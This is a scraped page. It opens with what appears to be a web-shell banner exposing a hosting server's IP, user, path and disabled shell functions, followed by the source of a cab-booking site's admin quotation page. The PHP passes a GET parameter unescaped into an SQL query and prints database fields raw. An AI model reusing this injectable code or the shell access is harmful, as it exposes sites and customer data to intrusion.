Server IP : 82.112.239.40 / Your IP : 18.217.142.228 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u641149403/domains/cabz4you.com/public_html/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php require_once 'header.php'; require_once 'navbar.php'; $type=$_GET['type']; if ($type=='All') { $sql ="SELECT *,booking_quotation.id as bk_id FROM booking_quotation LEFT JOIN users ON users.id=booking_quotation.user_id ORDER BY booking_quotation.id DESC"; }else{ $sql ="SELECT *,booking_quotation.id as bk_id FROM booking_quotation LEFT JOIN users ON users.id=booking_quotation.user_id WHERE status='$type' ORDER BY booking_quotation.id DESC"; } $result = $conn->query($sql); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { $table_data[]=$row; } } ?> <!-- Page content --> <div class="container-fluid pt-8"> <div class="page-header mt-0 p-3"> <h3 class="mb-sm-0"><?=$type?> Quotation </h3> <ol class="breadcrumb mb-0"> <li class="breadcrumb-item"><a href="#"><i class="fe fe-home"></i></a></li> <li class="breadcrumb-item active" aria-current="page"><?=$type?> Quotation</li> </ol> </div> <div class="card shadow"> <div class="card-body"> <div class="table-responsive" style="overflow-x:auto;"> <table id="example" class="table text-center table-striped table-bordered text-nowrap"> <thead class=""> <tr> <th class="wd-15p">S.No</th> <th class="wd-15p">View</th> <th class="wd-15p">Action</th> <th class="wd-15p">Quotation ID</th> <th class="wd-15p">Status</th> <th class="wd-15p">From </th> <th class="wd-15p">To</th> <th class="wd-15p">Booking Stops</th> <th class="wd-15p">Pickup Address</th> <th class="wd-20p">Name</th> <th class="wd-20p">Contact</th> <th class="wd-20p">Email</th> <th class="wd-20p">Trip Type</th> <th class="wd-20p">Cab Type</th> <th class="wd-15p">Pickup Date</th> <th class="wd-20p">pickup time</th> <th class="wd-20p">Drop Date</th> <th class="wd-15p">Amount</th> <th class="wd-15p">Your Commission</th> <th class="wd-15p">Toll</th> <th class="wd-15p">State Tax</th> <th class="wd-15p">Parking</th> <th class="wd-15p">No. of Passenger</th> <th class="wd-15p">Number Of Days</th> <th class="wd-15p">Luggage</th> <th class="wd-15p">Extra Price</th> <th class="wd-15p">Night Charge</th> <th class="wd-15p">Remark</th> </tr> </thead> <tbody> <?php $x=1; foreach($table_data as $hh) { ?> <tr> <td><?=$x++;?></td> <td class="action"><a href="javascript:void[0]" class="badge p-2 view_btn" style="background: #000;color: #fff!important;"><i class="fas fa-pencil-alt"></i></a></td> <td> <div class="dropdown"> <button class="btn btn-dark btn-sm dropdown-toggle" type="button" data-toggle="dropdown">Action <span class="caret"></span></button> <ul class="dropdown-menu p-2" id="buttons"> <?php if($hh['status']=='Pending'){ ?> <li><button id="383" onclick="change_status(<?=$hh['bk_id'];?>,'Confirmed');" class="btn btn-success mt-1 mb-1 w-100" type="button"> Confirmed</button></li> <li><button onclick="change_status(<?=$hh['bk_id']?>,'Cancel');" class="btn btn-warning mt-1 mb-1 w-100" type="button"> Cancel </button></li> <?php } ?> <li><a href="edit_quotation?id=<?=$hh['bk_id']?>" class="btn btn-success mt-1 mb-1 w-100">Edit</a></li> <li><button onclick="del(<?=$hh['bk_id']?>);" class="btn btn-danger mt-1 mb-1 w-100" type="button"> Delete </button></li> <li><a href="quotation.php?id=<?=$hh['bk_id']?>" class="btn btn-primary text-white mt-1 mb-1 w-100"> Generate Quotation </a></li> </ul> </div> </td> <td class="list_booking">PT<?=$hh['bk_id'];?></td> <td class="status"> <?php if($hh['status']=='Pending'){ ?> <label class="badge badge-warning"><?=$hh['status']?></label> <?php }elseif($hh['status']=='Confirmed'){ ?> <label class="badge badge-success"><?=$hh['status']?></label> <?php }else{ ?> <label class="badge badge-danger">Cancel</label> <?php } ?> </td> <td class="from"><?=$hh['booking_from']?></td> <td class="to"><?=$hh['booking_to'];?></td> <td class="booking_stop text-left"><?php $i=1; if (!empty($hh['booking_stops'])) { $booking_stop=explode('/', $hh['booking_stops']); foreach($booking_stop as $booking_s){ echo $i++.'. '.$booking_s.'<br>'; } } ?> </td> <td class="pickup_address"><?=$hh['pickup_address'];?></td> <td class="name"><?=$hh['name'];?></td> <td class="contact"><?=$hh['contact'];?></td> <td class="email"><?=$hh['email'];?></td> <td class="trip_type"><?=$hh['trip_type'];?></td> <td class="cab_type"><?=$hh['cab_type'];?></td> <td class="pickup_date"><?=$hh['pickup_date'];?></td> <td class="pickup_time"><?=date("h:i A",strtotime($hh['pickup_time']));?></td> <td class="drop_date"> <?php if($hh['drop_date'] == 0) { echo "<b>N.A.</b>"; } else { echo $hh['drop_date']; } ?> </td> <td class="amount"><?=$hh['price'];?></td> <td class="commission"><?=$hh['admin_commission'];?></td> <td class="toll_tax"> <?php if($hh['toll_tax']==0) echo "Excluding"; else echo "Including" ?> </td> <td class="state_tax"> <?php if($hh['state_tax']==0) echo "Excluding"; else echo "Including" ?> </td> <td class="parking"> <?php if($hh['parking']==0) echo "Excluding"; else echo "Including" ?> </td> <td class="passenger"><?=$hh['number_passenger'];?></td> <td class="no_of_day"><?=$hh['no_of_day'];?></td> <td class="luggage"><?=$hh['luggage'];?></td> <td class="extra_price"><?=$hh['after_extra_price'];?></td> <td class="night_charge"><?=$hh['night_charge'];?></td> <td class="remark"><?=$hh['remark'];?></td> </tr> <?php } ?> </tbody> </table> </div> </div> </div> </div> <div class="modal fade" id="view_modal" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h3 class="modal-title" id="exampleModalLabel">Details</h3> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <table class="table table-bordered"> <tr> <th class="wd-15p">Quotation Id</th> <td id="book_id" class="pl-5 ml-5"> </td> <tr> <tr> <th class="wd-15p">Status</th> <td id="status" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">From</th> <td id="from" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">To</th> <td id="to" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">Booking Stops</th> <td id="booking_stop" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">Pickup Address</th> <td id="pickup_address" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">Name</th> <td id="name" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">Contact</th> <td id="contact" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">Email</th> <td id="email" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">Pickup Date</th> <td id="pickup_date" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">Drop Date</th> <td id="drop_date" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">Pickup Time</th> <td id="pickup_time" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">Cab Type</th> <td id="cab_type" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">Trip Type</th> <td id="trip_type" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">Amount</th> <td id="amount" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">Your Commission</th> <td id="commissions" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">Toll</th> <td id="toll_tax" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">State Tax</th> <td id="state_tax" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">Parking</th> <td id="parking" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">No. Of Passenger</th> <td id="passenger" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">No. Of Days</th> <td id="no_of_day" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">Luggage</th> <td id="luggage" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">Extra Price</th> <td id="extra_price" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">Night Charge</th> <td id="night_charge" class="pl-5 ml-5"></td> </tr> <tr> <th class="wd-15p">Remark</th> <td id="remark" class="pl-5 ml-5"></td> </tr> </table> </div> </div> </div> </div> <?php require_once 'footer.php'; // require_once 'jslinks.php'; ?> <!-- Adon Scripts --> <!-- Core --> <script src="assets/plugins/jquery/dist/jquery.min.js"></script> <script src="assets/js/popper.js"></script> <script src="assets/plugins/bootstrap/js/bootstrap.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/js/bootstrap.bundle.min.js"></script> <!-- Optional JS --> <script src="assets/plugins/chart.js/dist/Chart.min.js"></script> <script src="assets/plugins/chart.js/dist/Chart.extension.js"></script> <!-- Data tables --> <script src="assets/plugins/datatable/jquery.dataTables.min.js"></script> <script src="assets/plugins/datatable/dataTables.bootstrap4.min.js"></script> <script src="assets/plugins/datatable/dataTables.responsive.min.js"></script> <script src="assets/plugins/datatable/responsive.bootstrap4.min.js"></script> <!-- Fullside-menu Js--> <script src="assets/plugins/toggle-sidebar/js/sidemenu.js"></script> <!-- Custom scroll bar Js--> <script src="assets/plugins/customscroll/jquery.mCustomScrollbar.concat.min.js"></script> <!-- Adon JS --> <?php include('datatable.php');?> <script src="assets/js/custom.js"></script> <script src="assets/js/datatable.js"></script> <script> $('.view_btn').click(function (e){ e.preventDefault(); var book_id =$(this).closest('tr').find('.list_booking').text(); var status =$(this).closest('tr').find('.status').text(); var from =$(this).closest('tr').find('.from').text(); var to =$(this).closest('tr').find('.to').text(); var booking_stop =$(this).closest('tr').find('.booking_stop').text(); var pickup_address =$(this).closest('tr').find('.pickup_address').text(); var name =$(this).closest('tr').find('.name').text(); var contact =$(this).closest('tr').find('.contact').text(); var email =$(this).closest('tr').find('.email').text(); var pickup_date =$(this).closest('tr').find('.pickup_date').text(); var drop_date =$(this).closest('tr').find('.drop_date').text(); var pickup_time =$(this).closest('tr').find('.pickup_time').text(); var cab_type =$(this).closest('tr').find('.cab_type').text(); var trip_type =$(this).closest('tr').find('.trip_type').text(); var amount =$(this).closest('tr').find('.amount').text(); var commission =$(this).closest('tr').find('.commission').text(); var drop_address =$(this).closest('tr').find('.drop_address').text(); var toll_tax =$(this).closest('tr').find('.toll_tax').text(); var state_tax =$(this).closest('tr').find('.state_tax').text(); var parking =$(this).closest('tr').find('.parking').text(); var passenger =$(this).closest('tr').find('.passenger').text(); var no_of_day =$(this).closest('tr').find('.no_of_day').text(); var luggage =$(this).closest('tr').find('.luggage').text(); var extra_price =$(this).closest('tr').find('.extra_price').text(); var night_charge =$(this).closest('tr').find('.night_charge').text(); var remark =$(this).closest('tr').find('.remark').text(); $('#book_id').html(book_id); $('#status').html(status); $('#from').html(from); $('#to').html(to); $('#booking_stop').html(booking_stop); $('#pickup_address').html(pickup_address); $('#name').html(name); $('#contact').html(contact); $('#email').html(email); $('#pickup_date').html(pickup_date); $('#drop_date').html(drop_date); $('#pickup_time').html(pickup_time); $('#cab_type').html(cab_type); $('#trip_type').html(trip_type); $('#amount').html(amount); $('#commissions').html(commission); $('#drop_address').html(drop_address); $('#toll_tax').html(toll_tax); $('#state_tax').html(state_tax); $('#parking').html(parking); $('#passenger').html(passenger); $('#no_of_day').html(no_of_day); $('#luggage').html(luggage); $('#extra_price').html(extra_price); $('#night_charge').html(night_charge); $('#remark').html(remark); $('#view_modal').modal('show'); }); function change_status(id,status) { var confir = confirm("Are you sure to "+status+" this quotation?"); if (confir) { $.ajax({ type: "POST", url: "ajax_enquiry.php", data: { quotation_id: id,status: status, }, success: function(data) { if (data == 1) { $('#success-msg').show(); setTimeout(function(){ location.reload() }, 2000) } else { $('#error-msg').show(); } } }); } } function del(id) { var confir = confirm("Do you really want to delete!!!"); if (confir) { $.ajax({ type: "POST", url: "ajax_enquiry.php", data: { delete_id: id, }, success: function(data) { if (data == 1) { $('#success-msg').text('Success! Record deleted successfully.'); $('#success-msg').show(); setTimeout(function(){ location.reload() }, 2000) } else { $('#error-msg').show(); } } }); } } </script>